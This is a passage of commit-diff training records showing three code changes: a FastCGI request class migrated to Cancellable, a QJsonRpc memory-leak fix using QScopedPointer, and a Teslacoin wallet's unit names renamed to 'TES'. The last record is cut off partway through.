fcgi_stock_translate_path(*stock_item, path,\n                                                            &request->pool);\n    document_root = fcgi_stock_translate_path(*stock_item, document_root,\n                                              &request->pool);\n\n    fcgi_client_request(&request->pool, event_loop,\n                        fcgi_stock_item_get(*stock_item),\n                        fcgi_stock_item_get_domain(*stock_item) == AF_LOCAL\n                        ? FdType::FD_SOCKET : FdType::FD_TCP,\n                        *request,\n                        method, uri,\n                        script_filename,\n                        script_name, path_info,\n                        query_string,\n                        document_root,\n                        remote_addr,\n                        headers, body,\n                        params,\n                        stderr_fd,\n                        handler, request->async_ref);\n}\n<commit_msg>fcgi\/request: migrate to class Cancellable<commit_after>\/*\n * High level FastCGI client.\n *\n * author: Max Kellermann <mk@cm4all.com>\n *\/\n\n#include \"Request.hxx\"\n#include \"Stock.hxx\"\n#include \"Client.hxx\"\n#include \"http_response.hxx\"\n#include \"lease.hxx\"\n#include \"tcp_stock.hxx\"\n#include \"stock\/Stock.hxx\"\n#include \"stock\/Item.hxx\"\n#include \"spawn\/ChildOptions.hxx\"\n#include \"istream\/istream.hxx\"\n#include \"async.hxx\"\n#include \"pool.hxx\"\n#include \"util\/Cast.hxx\"\n#include \"util\/ConstBuffer.hxx\"\n\n#include <daemon\/log.h>\n\n#include <sys\/socket.h>\n#include <errno.h>\n#include <string.h>\n#include <unistd.h>\n\nstruct FcgiRequest final : Lease, Cancellable {\n    struct pool &pool;\n\n    StockItem *stock_item;\n\n    struct async_operation_ref async_ref;\n\n    FcgiRequest(struct pool &_pool, StockItem &_stock_item)\n        :pool(_pool), stock_item(&_stock_item) {\n    }\n\n    \/* virtual methods from class Cancellable *\/\n    void Cancel() override {\n        if (stock_item != nullptr)\n            fcgi_stock_aborted(*stock_item);\n\n        async_ref.Abort();\n    }\n\n    \/* virtual methods from class Lease *\/\n    void ReleaseLease(bool reuse) override {\n        stock_item->Put(!reuse);\n        stock_item = nullptr;\n    }\n};\n\nvoid\nfcgi_request(struct pool *pool, EventLoop &event_loop,\n             FcgiStock *fcgi_stock,\n             const ChildOptions &options,\n             const char *action,\n             const char *path,\n             ConstBuffer<const char *> args,\n             http_method_t method, const char *uri,\n             const char *script_name, const char *path_info,\n             const char *query_string,\n             const char *document_root,\n             const char *remote_addr,\n             const StringMap &headers, Istream *body,\n             ConstBuffer<const char *> params,\n             int stderr_fd,\n             HttpResponseHandler &handler,\n             struct async_operation_ref &async_ref)\n{\n    if (action == nullptr)\n        action = path;\n\n    GError *error = nullptr;\n    StockItem *stock_item =\n        fcgi_stock_get(fcgi_stock, pool, options,\n                       action,\n                       args,\n                       &error);\n    if (stock_item == nullptr) {\n        if (body != nullptr)\n            body->CloseUnused();\n\n        if (stderr_fd >= 0)\n            close(stderr_fd);\n\n        handler.InvokeError(error);\n        return;\n    }\n\n    auto request = NewFromPool<FcgiRequest>(*pool, *pool, *stock_item);\n\n    async_ref = *request;\n\n    const char *script_filename = fcgi_stock_translate_path(*stock_item, path,\n                                                            &request->pool);\n    document_root = fcgi_stock_translate_path(*stock_item, document_root,\n                                              &request->pool);\n\n    fcgi_client_request(&request->pool, event_loop,\n                        fcgi_stock_item_get(*stock_item),\n                        fcgi_stock_item_get_domain(*stock_item) == AF_LOCAL\n                        ? FdType::FD_SOCKET : FdType::FD_TCP,\n                        *request,\n                        method, uri,\n                        script_filename,\n                        script_name, path_info,\n                        query_string,\n                        document_root,\n                        remote_addr,\n                        headers, body,\n                        params,\n                        stderr_fd,\n                        handler, request->async_ref);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (C) 2012-2013 Matt Broadstone\n * Contact: http:\/\/bitbucket.org\/devonit\/qjsonrpc\n *\n * This file is part of the QJsonRpc Library.\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\/\n\n#include <QDebug>\n\n#if QT_VERSION >= 0x050000\n#   include <QJsonDocument>\n#else\n#   include \"json\/qjsondocument.h\"\n#endif\n\n#include \"qjsonrpcmessage.h\"\n\nclass QJsonRpcMessagePrivate : public QSharedData\n{\npublic:\n    QJsonRpcMessagePrivate();\n    ~QJsonRpcMessagePrivate();\n\n    void initializeWithObject(const QJsonObject &message);\n    static QJsonRpcMessage createBasicRequest(const QString &method, const QJsonArray &params);\n    QJsonRpcMessage::Type type;\n    QJsonObject *object;\n\n    static int uniqueRequestCounter;\n\n};\n\nint QJsonRpcMessagePrivate::uniqueRequestCounter = 0;\nQJsonRpcMessagePrivate::QJsonRpcMessagePrivate()\n    : type(QJsonRpcMessage::Invalid),\n      object(0)\n{\n}\n\nvoid QJsonRpcMessagePrivate::initializeWithObject(const QJsonObject &message)\n{\n    object = new QJsonObject(message);\n    if (message.contains(QLatin1String(\"id\"))) {\n        if (message.contains(QLatin1String(\"result\")) ||\n            message.contains(QLatin1String(\"error\"))) {\n            if (message.contains(QLatin1String(\"error\")) &&\n                !message.value(QLatin1String(\"error\")).isNull())\n                type = QJsonRpcMessage::Error;\n            else\n                type = QJsonRpcMessage::Response;\n        } else if (message.contains(QLatin1String(\"method\"))) {\n            type = QJsonRpcMessage::Request;\n        }\n    } else {\n        if (message.contains(QLatin1String(\"method\")))\n            type = QJsonRpcMessage::Notification;\n    }\n}\n\nQJsonRpcMessagePrivate::~QJsonRpcMessagePrivate()\n{\n    if (object)\n        delete object;\n}\n\nQJsonRpcMessage::QJsonRpcMessage()\n    : d(new QJsonRpcMessagePrivate)\n{\n    d->object = new QJsonObject;\n}\n\nQJsonRpcMessage::QJsonRpcMessage(const QJsonRpcMessage &other)\n    : d(other.d)\n{\n}\n\nQJsonRpcMessage::~QJsonRpcMessage()\n{\n}\n\nQJsonRpcMessage &QJsonRpcMessage::operator=(const QJsonRpcMessage &other)\n{\n    d = other.d;\n    return *this;\n}\n\nbool QJsonRpcMessage::operator==(const QJsonRpcMessage &message) const\n{\n    if (message.d == d)\n        return true;\n\n    if (message.type() == type()) {\n        if (message.type() == QJsonRpcMessage::Error) {\n            return (message.errorCode() == errorCode() &&\n                    message.errorMessage() == errorMessage() &&\n                    message.errorData() == errorData());\n        } else {\n            if (message.type() == QJsonRpcMessage::Notification) {\n                return (message.method() == method() &&\n                        message.params() == params());\n            } else {\n                return (message.id() == id() &&\n                        message.method() == method() &&\n                        message.params() == params());\n            }\n        }\n    }\n\n    return false;\n}\n\nQJsonRpcMessage::QJsonRpcMessage(const QByteArray &message)\n    : d(new QJsonRpcMessagePrivate)\n{\n    QJsonParseError error;\n    QJsonDocument document = QJsonDocument::fromJson(message, &error);\n    if (error.error != QJsonParseError::NoError) {\n        qWarning() << Q_FUNC_INFO << error.errorString();\n        return;\n    }\n\n    if (!document.isObject()) {\n        qWarning() << Q_FUNC_INFO << \"invalid message: \" << message;\n        return;\n    }\n\n    d->initializeWithObject(document.object());\n}\n\nQJsonRpcMessage::QJsonRpcMessage(const QJsonObject &message)\n    : d(new QJsonRpcMessagePrivate)\n{\n    d->initializeWithObject(message);\n}\n\nQJsonObject QJsonRpcMessage::toObject() const\n{\n    if (d->object)\n        return QJsonObject(*d->object);\n    return QJsonObject();\n}\n\nbool QJsonRpcMessage::isValid() const\n{\n    return d->type != QJsonRpcMessage::Invalid;\n}\n\nQJsonRpcMessage::Type QJsonRpcMessage::type() const\n{\n    return d->type;\n}\n\nQJsonRpcMessage QJsonRpcMessagePrivate::createBasicRequest(const QString &method, const QJsonArray &params)\n{\n    QJsonRpcMessage request;\n    request.d->object = new QJsonObject;\n    request.d->object->insert(QLatin1String(\"jsonrpc\"), QLatin1String(\"2.0\"));\n    request.d->object->insert(QLatin1String(\"method\"), method);\n    if (!params.isEmpty())\n        request.d->object->insert(QLatin1String(\"params\"), params);\n    return request;\n}\n\nQJsonRpcMessage QJsonRpcMessage::createRequest(const QString &method, const QJsonArray &params)\n{\n    QJsonRpcMessage request = QJsonRpcMessagePrivate::createBasicRequest(method, params);\n    request.d->type = QJsonRpcMessage::Request;\n    QJsonRpcMessagePrivate::uniqueRequestCounter++;\n    request.d->object->insert(QLatin1String(\"id\"), QJsonRpcMessagePrivate::uniqueRequestCounter);\n    return request;\n}\n\nQJsonRpcMessage QJsonRpcMessage::createRequest(const QString &method, const QJsonValue &param)\n{\n    QJsonArray params;\n    params.append(param);\n    return createRequest(method, params);\n}\n\nQJsonRpcMessage QJsonRpcMessage::createNotification(const QString &method, const QJsonArray &params)\n{\n    QJsonRpcMessage notification = QJsonRpcMessagePrivate::createBasicRequest(method, params);\n    notification.d->type = QJsonRpcMessage::Notification;\n    return notification;\n}\n\nQJsonRpcMessage QJsonRpcMessage::createNotification(const QString &method, const QJsonValue &param)\n{\n    QJsonArray params;\n    params.append(param);\n    return createNotification(method, params);\n}\n\nQJsonRpcMessage QJsonRpcMessage::createResponse(const QJsonValue &result) const\n{\n    QJsonRpcMessage response;\n    if (d->object->contains(QLatin1String(\"id\"))) {\n        QJsonObject *object = new QJsonObject;\n        object->insert(QLatin1String(\"jsonrpc\"), QLatin1String(\"2.0\"));\n        object->insert(QLatin1String(\"id\"), d->object->value(QLatin1String(\"id\")));\n        object->insert(QLatin1String(\"result\"), result);\n        response.d->type = QJsonRpcMessage::Response;\n        response.d->object = object;\n    }\n\n    return response;\n}\n\nQJsonRpcMessage QJsonRpcMessage::createErrorResponse(QJsonRpc::ErrorCode code,\n                                                     const QString &message,\n                                                     const QJsonValue &data) const\n{\n    QJsonRpcMessage response;\n    QJsonObject error;\n    error.insert(QLatin1String(\"code\"), code);\n    if (!message.isEmpty())\n        error.insert(QLatin1String(\"message\"), message);\n    if (!data.isUndefined())\n        error.insert(QLatin1String(\"data\"), data);\n\n    response.d->type = QJsonRpcMessage::Error;\n    QJsonObject *object = new QJsonObject;\n    object->insert(QLatin1String(\"jsonrpc\"), QLatin1String(\"2.0\"));\n\n    if (d->object->contains(QLatin1String(\"id\")))\n        object->insert(QLatin1String(\"id\"), d->object->value(QLatin1String(\"id\")));\n    else\n        object->insert(QLatin1String(\"id\"), 0);\n    object->insert(QLatin1String(\"error\"), error);\n    response.d->object = object;\n    return response;\n}\n\nint QJsonRpcMessage::id() const\n{\n    if (d->type == QJsonRpcMessage::Notification || !d->object)\n        return -1;\n    return d->object->value(QLatin1String(\"id\")).toInt();\n}\n\nQString QJsonRpcMessage::method() const\n{\n    if (d->type == QJsonRpcMessage::Response || !d->object)\n        return QString();\n\n    return d->object->value(QLatin1String(\"method\")).toString();\n}\n\nQJsonArray QJsonRpcMessage::params() const\n{\n    if (d->type == QJsonRpcMessage::Response || d->type == QJsonRpcMessage::Error)\n        return QJsonArray();\n    if (!d->object)\n        return QJsonArray();\n\n    return d->object->value(QLatin1String(\"params\")).toArray();\n}\n\nQJsonValue QJsonRpcMessage::result() const\n{\n    if (d->type != QJsonRpcMessage::Response || !d->object)\n        return QJsonValue();\n\n    return d->object->value(QLatin1String(\"result\"));\n}\n\nint QJsonRpcMessage::errorCode() const\n{\n    if (d->type != QJsonRpcMessage::Error || !d->object)\n        return 0;\n\n    QJsonObject error =\n        d->object->value(QLatin1String(\"error\")).toObject();\n    return error.value(QLatin1String(\"code\")).toInt();\n}\n\nQString QJsonRpcMessage::errorMessage() const\n{\n    if (d->type != QJsonRpcMessage::Error || !d->object)\n        return QString();\n\n    QJsonObject error =\n        d->object->value(QLatin1String(\"error\")).toObject();\n    return error.value(QLatin1String(\"message\")).toString();\n}\n\nQJsonValue QJsonRpcMessage::errorData() const\n{\n    if (d->type != QJsonRpcMessage::Error || !d->object)\n        return QJsonValue();\n\n    QJsonObject error =\n        d->object->value(QLatin1String(\"error\")).toObject();\n    return error.value(QLatin1String(\"data\"));\n}\n\nstatic QDebug operator<<(QDebug dbg, QJsonRpcMessage::Type type)\n{\n    switch (type) {\n    case QJsonRpcMessage::Request:\n        return dbg << \"QJsonRpcMessage::Request\";\n    case QJsonRpcMessage::Response:\n        return dbg << \"QJsonRpcMessage::Response\";\n    case QJsonRpcMessage::Notification:\n        return dbg << \"QJsonRpcMessage::Notification\";\n    case QJsonRpcMessage::Error:\n        return dbg << \"QJsonRpcMessage::Error\";\n    default:\n        return dbg << \"QJsonRpcMessage::Invalid\";\n    }\n}\n\nQDebug operator<<(QDebug dbg, const QJsonRpcMessage &msg)\n{\n    dbg.nospace() << \"QJsonRpcMessage(type=\" << msg.type();\n    if (msg.type() != QJsonRpcMessage::Notification) {\n        dbg.nospace() << \", id=\" << msg.id();\n    }\n\n    if (msg.type() == QJsonRpcMessage::Request ||\n        msg.type() == QJsonRpcMessage::Notification) {\n        dbg.nospace() << \", method=\" << msg.method()\n                      << \", params=\" << msg.params();\n    } else if (msg.type() == QJsonRpcMessage::Response) {\n        dbg.nospace() << \", result=\" << msg.result();\n    } else if (msg.type() == QJsonRpcMessage::Error) {\n        dbg.nospace() << \", code=\" << msg.errorCode()\n                      << \", message=\" << msg.errorMessage()\n                      << \", data=\" << msg.errorData();\n    }\n    dbg.nospace() << \")\";\n    return dbg.space();\n}\n<commit_msg>Fix QJsonObject memory leak<commit_after>\/*\n * Copyright (C) 2012-2013 Matt Broadstone\n * Contact: http:\/\/bitbucket.org\/devonit\/qjsonrpc\n *\n * This file is part of the QJsonRpc Library.\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\/\n\n#include <QDebug>\n\n#if QT_VERSION >= 0x050000\n#   include <QJsonDocument>\n#else\n#   include \"json\/qjsondocument.h\"\n#endif\n\n#include \"qjsonrpcmessage.h\"\n\nclass QJsonRpcMessagePrivate : public QSharedData\n{\npublic:\n    QJsonRpcMessagePrivate();\n    ~QJsonRpcMessagePrivate();\n    QJsonRpcMessagePrivate(const QJsonRpcMessagePrivate &other);\n\n    void initializeWithObject(const QJsonObject &message);\n    static QJsonRpcMessage createBasicRequest(const QString &method, const QJsonArray &params);\n\n    QJsonRpcMessage::Type type;\n    QScopedPointer<QJsonObject> object;\n\n    static int uniqueRequestCounter;\n};\n\nint QJsonRpcMessagePrivate::uniqueRequestCounter = 0;\n\nQJsonRpcMessagePrivate::QJsonRpcMessagePrivate()\n    : type(QJsonRpcMessage::Invalid),\n      object(0)\n{\n}\n\nQJsonRpcMessagePrivate::QJsonRpcMessagePrivate(const QJsonRpcMessagePrivate &other)\n    : QSharedData(other),\n      type(other.type),\n      object(other.object ? new QJsonObject(*other.object) : 0)\n{\n}\n\nvoid QJsonRpcMessagePrivate::initializeWithObject(const QJsonObject &message)\n{\n    object.reset(new QJsonObject(message));\n    if (message.contains(QLatin1String(\"id\"))) {\n        if (message.contains(QLatin1String(\"result\")) ||\n            message.contains(QLatin1String(\"error\"))) {\n            if (message.contains(QLatin1String(\"error\")) &&\n                !message.value(QLatin1String(\"error\")).isNull())\n                type = QJsonRpcMessage::Error;\n            else\n                type = QJsonRpcMessage::Response;\n        } else if (message.contains(QLatin1String(\"method\"))) {\n            type = QJsonRpcMessage::Request;\n        }\n    } else {\n        if (message.contains(QLatin1String(\"method\")))\n            type = QJsonRpcMessage::Notification;\n    }\n}\n\nQJsonRpcMessagePrivate::~QJsonRpcMessagePrivate()\n{\n}\n\nQJsonRpcMessage::QJsonRpcMessage()\n    : d(new QJsonRpcMessagePrivate)\n{\n    d->object.reset(new QJsonObject);\n}\n\nQJsonRpcMessage::QJsonRpcMessage(const QJsonRpcMessage &other)\n    : d(other.d)\n{\n}\n\nQJsonRpcMessage::~QJsonRpcMessage()\n{\n}\n\nQJsonRpcMessage &QJsonRpcMessage::operator=(const QJsonRpcMessage &other)\n{\n    d = other.d;\n    return *this;\n}\n\nbool QJsonRpcMessage::operator==(const QJsonRpcMessage &message) const\n{\n    if (message.d == d)\n        return true;\n\n    if (message.type() == type()) {\n        if (message.type() == QJsonRpcMessage::Error) {\n            return (message.errorCode() == errorCode() &&\n                    message.errorMessage() == errorMessage() &&\n                    message.errorData() == errorData());\n        } else {\n            if (message.type() == QJsonRpcMessage::Notification) {\n                return (message.method() == method() &&\n                        message.params() == params());\n            } else {\n                return (message.id() == id() &&\n                        message.method() == method() &&\n                        message.params() == params());\n            }\n        }\n    }\n\n    return false;\n}\n\nQJsonRpcMessage::QJsonRpcMessage(const QByteArray &message)\n    : d(new QJsonRpcMessagePrivate)\n{\n    QJsonParseError error;\n    QJsonDocument document = QJsonDocument::fromJson(message, &error);\n    if (error.error != QJsonParseError::NoError) {\n        qWarning() << Q_FUNC_INFO << error.errorString();\n        return;\n    }\n\n    if (!document.isObject()) {\n        qWarning() << Q_FUNC_INFO << \"invalid message: \" << message;\n        return;\n    }\n\n    d->initializeWithObject(document.object());\n}\n\nQJsonRpcMessage::QJsonRpcMessage(const QJsonObject &message)\n    : d(new QJsonRpcMessagePrivate)\n{\n    d->initializeWithObject(message);\n}\n\nQJsonObject QJsonRpcMessage::toObject() const\n{\n    if (d->object)\n        return QJsonObject(*d->object);\n    return QJsonObject();\n}\n\nbool QJsonRpcMessage::isValid() const\n{\n    return d->type != QJsonRpcMessage::Invalid;\n}\n\nQJsonRpcMessage::Type QJsonRpcMessage::type() const\n{\n    return d->type;\n}\n\nQJsonRpcMessage QJsonRpcMessagePrivate::createBasicRequest(const QString &method, const QJsonArray &params)\n{\n    QJsonRpcMessage request;\n    request.d->object->insert(QLatin1String(\"jsonrpc\"), QLatin1String(\"2.0\"));\n    request.d->object->insert(QLatin1String(\"method\"), method);\n    if (!params.isEmpty())\n        request.d->object->insert(QLatin1String(\"params\"), params);\n    return request;\n}\n\nQJsonRpcMessage QJsonRpcMessage::createRequest(const QString &method, const QJsonArray &params)\n{\n    QJsonRpcMessage request = QJsonRpcMessagePrivate::createBasicRequest(method, params);\n    request.d->type = QJsonRpcMessage::Request;\n    QJsonRpcMessagePrivate::uniqueRequestCounter++;\n    request.d->object->insert(QLatin1String(\"id\"), QJsonRpcMessagePrivate::uniqueRequestCounter);\n    return request;\n}\n\nQJsonRpcMessage QJsonRpcMessage::createRequest(const QString &method, const QJsonValue &param)\n{\n    QJsonArray params;\n    params.append(param);\n    return createRequest(method, params);\n}\n\nQJsonRpcMessage QJsonRpcMessage::createNotification(const QString &method, const QJsonArray &params)\n{\n    QJsonRpcMessage notification = QJsonRpcMessagePrivate::createBasicRequest(method, params);\n    notification.d->type = QJsonRpcMessage::Notification;\n    return notification;\n}\n\nQJsonRpcMessage QJsonRpcMessage::createNotification(const QString &method, const QJsonValue &param)\n{\n    QJsonArray params;\n    params.append(param);\n    return createNotification(method, params);\n}\n\nQJsonRpcMessage QJsonRpcMessage::createResponse(const QJsonValue &result) const\n{\n    QJsonRpcMessage response;\n    if (d->object->contains(QLatin1String(\"id\"))) {\n        QJsonObject *object = response.d->object.data();\n        object->insert(QLatin1String(\"jsonrpc\"), QLatin1String(\"2.0\"));\n        object->insert(QLatin1String(\"id\"), d->object->value(QLatin1String(\"id\")));\n        object->insert(QLatin1String(\"result\"), result);\n        response.d->type = QJsonRpcMessage::Response;\n    }\n\n    return response;\n}\n\nQJsonRpcMessage QJsonRpcMessage::createErrorResponse(QJsonRpc::ErrorCode code,\n                                                     const QString &message,\n                                                     const QJsonValue &data) const\n{\n    QJsonRpcMessage response;\n    QJsonObject error;\n    error.insert(QLatin1String(\"code\"), code);\n    if (!message.isEmpty())\n        error.insert(QLatin1String(\"message\"), message);\n    if (!data.isUndefined())\n        error.insert(QLatin1String(\"data\"), data);\n\n    response.d->type = QJsonRpcMessage::Error;\n    QJsonObject *object = response.d->object.data();\n    object->insert(QLatin1String(\"jsonrpc\"), QLatin1String(\"2.0\"));\n    if (d->object->contains(QLatin1String(\"id\")))\n        object->insert(QLatin1String(\"id\"), d->object->value(QLatin1String(\"id\")));\n    else\n        object->insert(QLatin1String(\"id\"), 0);\n    object->insert(QLatin1String(\"error\"), error);\n    return response;\n}\n\nint QJsonRpcMessage::id() const\n{\n    if (d->type == QJsonRpcMessage::Notification || !d->object)\n        return -1;\n    return d->object->value(QLatin1String(\"id\")).toInt();\n}\n\nQString QJsonRpcMessage::method() const\n{\n    if (d->type == QJsonRpcMessage::Response || !d->object)\n        return QString();\n\n    return d->object->value(QLatin1String(\"method\")).toString();\n}\n\nQJsonArray QJsonRpcMessage::params() const\n{\n    if (d->type == QJsonRpcMessage::Response || d->type == QJsonRpcMessage::Error)\n        return QJsonArray();\n    if (!d->object)\n        return QJsonArray();\n\n    return d->object->value(QLatin1String(\"params\")).toArray();\n}\n\nQJsonValue QJsonRpcMessage::result() const\n{\n    if (d->type != QJsonRpcMessage::Response || !d->object)\n        return QJsonValue();\n\n    return d->object->value(QLatin1String(\"result\"));\n}\n\nint QJsonRpcMessage::errorCode() const\n{\n    if (d->type != QJsonRpcMessage::Error || !d->object)\n        return 0;\n\n    QJsonObject error =\n        d->object->value(QLatin1String(\"error\")).toObject();\n    return error.value(QLatin1String(\"code\")).toInt();\n}\n\nQString QJsonRpcMessage::errorMessage() const\n{\n    if (d->type != QJsonRpcMessage::Error || !d->object)\n        return QString();\n\n    QJsonObject error =\n        d->object->value(QLatin1String(\"error\")).toObject();\n    return error.value(QLatin1String(\"message\")).toString();\n}\n\nQJsonValue QJsonRpcMessage::errorData() const\n{\n    if (d->type != QJsonRpcMessage::Error || !d->object)\n        return QJsonValue();\n\n    QJsonObject error =\n        d->object->value(QLatin1String(\"error\")).toObject();\n    return error.value(QLatin1String(\"data\"));\n}\n\nstatic QDebug operator<<(QDebug dbg, QJsonRpcMessage::Type type)\n{\n    switch (type) {\n    case QJsonRpcMessage::Request:\n        return dbg << \"QJsonRpcMessage::Request\";\n    case QJsonRpcMessage::Response:\n        return dbg << \"QJsonRpcMessage::Response\";\n    case QJsonRpcMessage::Notification:\n        return dbg << \"QJsonRpcMessage::Notification\";\n    case QJsonRpcMessage::Error:\n        return dbg << \"QJsonRpcMessage::Error\";\n    default:\n        return dbg << \"QJsonRpcMessage::Invalid\";\n    }\n}\n\nQDebug operator<<(QDebug dbg, const QJsonRpcMessage &msg)\n{\n    dbg.nospace() << \"QJsonRpcMessage(type=\" << msg.type();\n    if (msg.type() != QJsonRpcMessage::Notification) {\n        dbg.nospace() << \", id=\" << msg.id();\n    }\n\n    if (msg.type() == QJsonRpcMessage::Request ||\n        msg.type() == QJsonRpcMessage::Notification) {\n        dbg.nospace() << \", method=\" << msg.method()\n                      << \", params=\" << msg.params();\n    } else if (msg.type() == QJsonRpcMessage::Response) {\n        dbg.nospace() << \", result=\" << msg.result();\n    } else if (msg.type() == QJsonRpcMessage::Error) {\n        dbg.nospace() << \", code=\" << msg.errorCode()\n                      << \", message=\" << msg.errorMessage()\n                      << \", data=\" << msg.errorData();\n    }\n    dbg.nospace() << \")\";\n    return dbg.space();\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"bitcoinunits.h\"\n\n#include <QStringList>\n\nBitcoinUnits::BitcoinUnits(QObject *parent):\n        QAbstractListModel(parent),\n        unitlist(availableUnits())\n{\n}\n\nQList<BitcoinUnits::Unit> BitcoinUnits::availableUnits()\n{\n    QList<BitcoinUnits::Unit> unitlist;\n    unitlist.append(BTC);\n    unitlist.append(mBTC);\n    unitlist.append(uBTC);\n    return unitlist;\n}\n\nbool BitcoinUnits::valid(int unit)\n{\n    switch(unit)\n    {\n    case BTC:\n    case mBTC:\n    case uBTC:\n        return true;\n    default:\n        return false;\n    }\n}\n\nQString BitcoinUnits::name(int unit)\n{\n    switch(unit)\n    {\n    case BTC: return QString(\"Teslacoin\");\n    case mBTC: return QString(\"mTeslacoin\");\n    case uBTC: return QString::fromUtf8(\"μTeslacoin\");\n    default: return QString(\"???\");\n    }\n}\n\nQString BitcoinUnits::description(int unit)\n{\n    switch(unit)\n    {\n    case BTC: return QString(\"Teslacoins\");\n    case mBTC: return QString(\"Milli-Teslacoins (1 \/ 1,000)\");\n    case uBTC: return QString(\"Micro-Teslacoins (1 \/ 1,000,000)\");\n    default: return QString(\"???\");\n    }\n}\n\nqint64 BitcoinUnits::factor(int unit)\n{\n    switch(unit)\n    {\n    case BTC:  return 1000000;\n    case mBTC: return 1000;\n    case uBTC: return 1;\n    default:   return 1000000;\n    }\n}\n\nint BitcoinUnits::amountDigits(int unit)\n{\n    switch(unit)\n    {\n    case BTC: return 8; \/\/ 21,000,000 (# digits, without commas)\n    case mBTC: return 11; \/\/ 21,000,000,000\n    case uBTC: return 14; \/\/ 21,000,000,000,000\n    default: return 0;\n    }\n}\n\nint BitcoinUnits::decimals(int unit)\n{\n    switch(unit)\n    {\n    case BTC: return 6;\n    case mBTC: return 3;\n    case uBTC: return 0;\n    default: return 0;\n    }\n}\n\nQString BitcoinUnits::format(int unit, qint64 n, bool fPlus)\n{\n    \/\/ Note: not using straight sprintf here because we do NOT want\n    \/\/ localized number formatting.\n    if(!valid(unit))\n        return QString(); \/\/ Refuse to format invalid unit\n    qint64 coin = factor(unit);\n    int num_decimals = decimals(unit);\n    qint64 n_abs = (n > 0 ? n : -n);\n    qint64 quotient = n_abs \/ coin;\n    qint64 remainder = n_abs % coin;\n    QString quotient_str = QString::number(quotient);\n    QString remainder_str = QString::number(remainder).rightJustified(num_decimals, '0');\n\n    \/\/ Right-trim excess zeros after the decimal point\n    int nTrim = 0;\n    for (int i = remainder_str.size()-1; i>=2 && (remainder_str.at(i) == '0'); --i)\n        ++nTrim;\n    remainder_str.chop(nTrim);\n\n    if (n < 0)\n        quotient_str.insert(0, '-');\n    else if (fPlus && n > 0)\n        quotient_str.insert(0, '+');\n    return quotient_str + QString(\".\") + remainder_str;\n}\n\nQString BitcoinUnits::formatWithUnit(int unit, qint64 amount, bool plussign)\n{\n    return format(unit, amount, plussign) + QString(\" \") + name(unit);\n}\n\nbool BitcoinUnits::parse(int unit, const QString &value, qint64 *val_out)\n{\n    if(!valid(unit) || value.isEmpty())\n        return false; \/\/ Refuse to parse invalid unit or empty string\n    int num_decimals = decimals(unit);\n    QStringList parts = value.split(\".\");\n\n    if(parts.size() > 2)\n    {\n        return false; \/\/ More than one dot\n    }\n    QString whole = parts[0];\n    QString decimals;\n\n    if(parts.size() > 1)\n    {\n        decimals = parts[1];\n    }\n    if(decimals.size() > num_decimals)\n    {\n        return false; \/\/ Exceeds max precision\n    }\n    bool ok = false;\n    QString str = whole + decimals.leftJustified(num_decimals, '0');\n\n    if(str.size() > 18)\n    {\n        return false; \/\/ Longer numbers will exceed 63 bits\n    }\n    qint64 retvalue = str.toLongLong(&ok);\n    if(val_out)\n    {\n        *val_out = retvalue;\n    }\n    return ok;\n}\n\nint BitcoinUnits::rowCount(const QModelIndex &parent) const\n{\n    Q_UNUSED(parent);\n    return unitlist.size();\n}\n\nQVariant BitcoinUnits::data(const QModelIndex &index, int role) const\n{\n    int row = index.row();\n    if(row >= 0 && row < unitlist.size())\n    {\n        Unit unit = unitlist.at(row);\n        switch(role)\n        {\n        case Qt::EditRole:\n        case Qt::DisplayRole:\n            return QVariant(name(unit));\n        case Qt::ToolTipRole:\n            return QVariant(description(unit));\n        case UnitRole:\n            return QVariant(static_cast<int>(unit));\n        }\n    }\n    return QVariant();\n}\n<commit_msg>updated units<commit_after>#include \"bitcoinunits.h\"\n\n#include <QStringList>\n\nBitcoinUnits::BitcoinUnits(QObject *parent):\n        QAbstractListModel(parent),\n        unitlist(availableUnits())\n{\n}\n\nQList<BitcoinUnits::Unit> BitcoinUnits::availableUnits()\n{\n    QList<BitcoinUnits::Unit> unitlist;\n    unitlist.append(BTC);\n    unitlist.append(mBTC);\n    unitlist.append(uBTC);\n    return unitlist;\n}\n\nbool BitcoinUnits::valid(int unit)\n{\n    switch(unit)\n    {\n    case BTC:\n    case mBTC:\n    case uBTC:\n        return true;\n    default:\n        return false;\n    }\n}\n\nQString BitcoinUnits::name(int unit)\n{\n    switch(unit)\n    {\n    case BTC: return QString(\"TES\");\n    case mBTC: return QString(\"mTES\");\n    case uBTC: return QString::fromUtf8(\"μTES\");\n    default: return QString(\"???\");\n    }\n}\n\nQString BitcoinUnits::description(int unit)\n{\n    switch(unit)\n    {\n    case BTC: return QString(\"TES\");\n    case mBTC: return QString(\"Milli-TES (1 \/ 1,000)\");\n    case uBTC: return QString(\"Micro-TES (1 \/ 1,000,000)\");\n    default: return QString(\"???\");\n    }\n}\n\nqint64 BitcoinUnits::factor(int unit)\n{\n    switch(unit)\n    {\n    case BTC:  return 1000000;\n    case mBTC: return 1000;\n    case uBTC: return 1;\n    default:   return 1000000;\n    }\n}\n\nint BitcoinUnits::amountDigits(int unit)\n{\n    switch(unit)\n    {\n    case BTC: return 8; \/\/ 21,000,000 (# digits, without commas)\n    case mBTC: return 11; \/\/ 21,000,000,000\n    case uBTC: return 14; \/\/ 21,000,000,000,000\n    default: return 0;\n    }\n}\n\nint BitcoinUnits::decimals(int unit)\n{\n    switch(unit)\n    {\n    case BTC: return 6;\n    case mBTC: return 3;\n    case uBTC: return 0;\n    default: return 0;\n    }\n}\n\nQString BitcoinUnits::format(int unit, qint64 n, bool fPlus)\n{\n    \/\/ Note: not using straight sprintf here because we do NOT want\n    \/\/ localized number formatting.\n    if(!valid(unit))\n        return QString(); \/\/ Refuse to format invalid unit\n    qint64 coin = factor(unit);\n    int num_decimals = decimals(unit);\n    qint64 n_abs = (n > 0 ? n : -n);\n    qint64 quotient = 